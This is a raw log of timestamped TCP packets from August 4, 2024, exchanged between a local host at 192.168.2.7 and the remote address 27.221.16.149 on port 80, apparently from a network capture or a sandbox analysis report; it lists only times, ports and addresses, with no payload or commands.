Aug 4, 2024 10:57:46.982474089 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982537031 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982538939 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982551098 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982563019 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982574940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982589006 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982624054 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982624054 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982656956 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982671022 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982681990 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982695103 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982703924 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982759953 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982784033 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982795954 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982806921 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982820034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982830048 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982834101 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982847929 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982861042 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982876062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982880116 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982880116 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982918978 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982932091 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982990026 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982990026 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983000040 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983015060 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983026028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983042955 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983079910 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983079910 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983139038 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983151913 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983164072 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983176947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983190060 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983201981 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983202934 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983202934 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983216047 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983269930 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983282089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983292103 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983292103 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983329058 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983506918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983520031 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983532906 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983587980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983598948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983612061 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983623028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983624935 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983624935 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983656883 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983664989 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983676910 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983773947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983778954 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983786106 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983798027 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983813047 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983825922 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983833075 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983845949 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983855009 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983855009 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983880043 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.983917952 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983928919 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983935118 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.983935118 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.984327078 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.987392902 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987405062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987423897 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987435102 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987442970 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.987448931 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987477064 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.987477064 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.987534046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987554073 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987565041 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987577915 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987593889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987601995 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.987607002 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987620115 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.987658024 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.987658024 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330157042 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330193043 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330203056 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330214977 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330319881 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330331087 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330342054 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330353975 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330365896 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330365896 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330404997 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330416918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330429077 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330440044 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330451012 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330451965 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330451965 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330465078 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330501080 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330501080 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330523014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330542088 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330552101 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330610991 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330646992 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330657959 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330678940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330689907 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330705881 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330710888 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330724001 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330724001 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330735922 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330749035 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330775023 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330827951 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330883026 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330895901 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330908060 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330920935 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330934048 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.330944061 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330944061 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.330948114 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331021070 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331031084 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331043959 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331053972 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331053972 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331094027 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331115007 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331125975 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331137896 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331146955 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331146955 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331156015 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331173897 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331183910 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331195116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331214905 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331214905 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331275940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331289053 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331300020 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331310987 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331322908 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331322908 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331322908 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331335068 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331372976 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331372976 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331546068 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331607103 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331620932 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331665039 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331670046 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331676006 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331688881 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331700087 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331723928 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331723928 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331772089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331785917 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331796885 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331810951 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331824064 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331847906 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331847906 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331872940 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331871986 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331887007 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331899881 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331912041 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331923008 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331934929 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.331949949 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.331949949 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.332014084 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332025051 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332036972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332048893 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332061052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332067966 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.332067966 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.332073927 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332115889 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.332115889 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.332159042 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332170963 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332182884 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332194090 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.332367897 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.678663969 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678704023 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678714991 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678731918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678786039 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678785086 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.678785086 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.678798914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678812027 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678823948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678841114 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678853035 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678869963 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.678869963 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.678922892 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678936005 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678946972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678949118 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.678960085 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.678992987 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679052114 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679058075 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679069996 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679081917 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679110050 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679121971 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679131985 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679137945 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679152966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679164886 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679176092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679183006 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679183006 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679209948 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679264069 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679275036 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679349899 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679373980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679385900 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679397106 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679409027 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679430008 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679433107 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679442883 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679455996 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679466963 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679475069 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679475069 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679481030 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679503918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679507017 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679517031 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679529905 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679544926 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679567099 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679567099 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679620981 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679702044 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679713964 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679724932 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679738998 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679749966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679761887 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679773092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679779053 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679779053 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679788113 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679801941 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679814100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679828882 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679828882 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679883003 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.679977894 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.679989100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680001020 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680011034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680025101 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680038929 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680051088 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680061102 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680061102 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680068016 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680082083 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680083036 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680095911 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680116892 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680130005 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680138111 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680138111 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680147886 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680159092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680172920 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680203915 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680203915 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680286884 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680299997 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680310965 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680321932 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680334091 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680346012 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680355072 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680360079 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680399895 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680399895 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680435896 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680449009 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680469036 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680486917 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680486917 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680500984 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680514097 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680553913 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680553913 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680648088 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680668116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680679083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680691004 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680704117 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680716038 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680730104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680732012 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680732012 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680751085 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680762053 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680766106 CEST	49756	80	192.168.2.7	27.221.16.149
